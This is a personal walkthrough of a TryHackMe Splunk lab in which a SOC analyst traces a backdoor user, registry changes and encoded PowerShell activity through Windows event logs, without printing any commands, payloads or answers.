Investigating with Splunk TryHackMe WriteUp
This is a detailed write-up for the room Investigating with Splunk by Dex01 on TryHackMe (found at TryHackMe | Investigating with Splunk )
I haven’t done as much Splunk and SOC work as I have done PenTesting on TryHackMe, so this one was an interesting challenge — however when I finally got all the answers I found it very rewarding. It is a great room, and definitely helps you flex those SOC muscles and think laterally about the kind of traces that are left behind when there is an attack on your network. One of these questions in particular took me much longer than the others, because I am just not that familiar with Splunk and what to search for, but I got there in the end so if you’re struggling, hopefully I can help point you in the right direction! Without further ado, let’s jump in.
Room Brief:
SOC Analyst Johny has observed some anomalous behaviours in the logs of a few windows machines. It looks like the adversary has access to some of these machines and successfully created some backdoor. His manager has asked him to pull those logs from suspected hosts and ingest them into Splunk for quick investigation. Our task as SOC Analyst is to examine the logs and identify the anomalies.
To learn more about Splunk and how to investigate the logs, look at the rooms splunk101 and splunk201. (I highly recommend doing this prior to this room, it will help a lot!)
To access Splunk and the required logs, boot up the TryHackMe machine provided and then visit the IP in your browser using the Attack Box or your own VM. I used my own Kali VM connected to the TryHackMe network with OpenVPN for this and had no issues.
Question 1:
How many events were collected and Ingested in the index main?
Starting off simple, we just need to sort the logs to display Index Main.
Make sure you select “All time” to actually include the logs required.
Question 2:
On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?
The question is asking us to look for a new user created to provide backdoor access. A quick google search shows the Event ID for a User Account being created is 4720, so let’s add that to the search bar.
The screenshot above shows that this produces 1 result, showing a new user with a relatively suspicious Account Name — which is the answer to the question.
Question 3:
On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?
Now we are looking for an edited registry key on the same host. To find this, let’s remove the filter for EventID 4720 and add a filter for the Hostname. Once this is done, under “Interesting Fields” there is a section called Category, and clicking on this shows a filter we can apply called “Registry Object Added or Deleted (rule: RegistryEvent)”. As we are looking for a registry key being modified, this seems like a good place to look!
This search gives us 38 results. That’s a relatively small amount to sift through, and if you scroll through the first page, hopefully a relevant Registry Key should stand out from all the rest!
Question 4:
Examine the logs and identify the user that the adversary was trying to impersonate.
This question is an easy one — the usernames are very similar. Removing all the search bar filters except index=main and selecting “User” from Fields on the left will give you what you’re looking for.
Question 5:
What is the command used to add a backdoor user from a remote computer?
This was hands down the most difficult question for me to tackle, as I just had no idea what to filter for in order to narrow down the results. However, we can tell from some basic enumeration that there are a number of commands being issued over the network from a remote source. Filtering all events by the “CommandLine” field, therefore, should put us on the right track!
The screenshot above shows a fairly obvious command to add a new user using powershell remotely. (I can’t believe how long it took me to find this one, but I definitely learned something!)
Question 6:
How many times was the login attempt from the backdoor user observed during the investigation?
This question wants us to find how many logon attempts were observed from the backdoor account. Another quick google search shows us the Event ID for logons is 4624, so we can filter by this and then check the events to see how many there are. Some further manual enumeration will confirm this answer, as the backdoor account does not exist for a very long time.
Question 7:
What is the name of the infected host on which suspicious Powershell commands were executed?
Filtering by Powershell will show the infected host.
Question 8:
PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?
The same filter above will show you how many malicious events were logged for PowerShell execution — hence all the red lines in the previous screenshot.
Question 9:
An encoded Powershell script from the infected host initiated a web request. What is the full URL?
Using the same filter above, we can see an encoded script present in all of the entries. Viewing the raw text allows us to copy this encoded script and decode it using a base64 decoder (I used https://www.base64decode.org/ and the AutoDetect feature for best results).
The above screenshot shows the decoded script, which (interestingly enough) contains some more base64 encoded text followed by the end of a URL. Save the end of this URL for later, and then decode the string of Base64 again.
Aha! This looks like the other half of the malicious URL. To get the final answer, we need to put the two halves together and defang it, for which I used cyberchef ( https://gchq.github.io/CyberChef/ ).
Submitting the defanged URL will complete the room!
Overall I thought this was a great room, and it tested my ability to think critically and separate important information from the rest of the noise. Thanks to Dex01, and hopefully if you were stuck, this guide helped a little!
Cheers, until next time!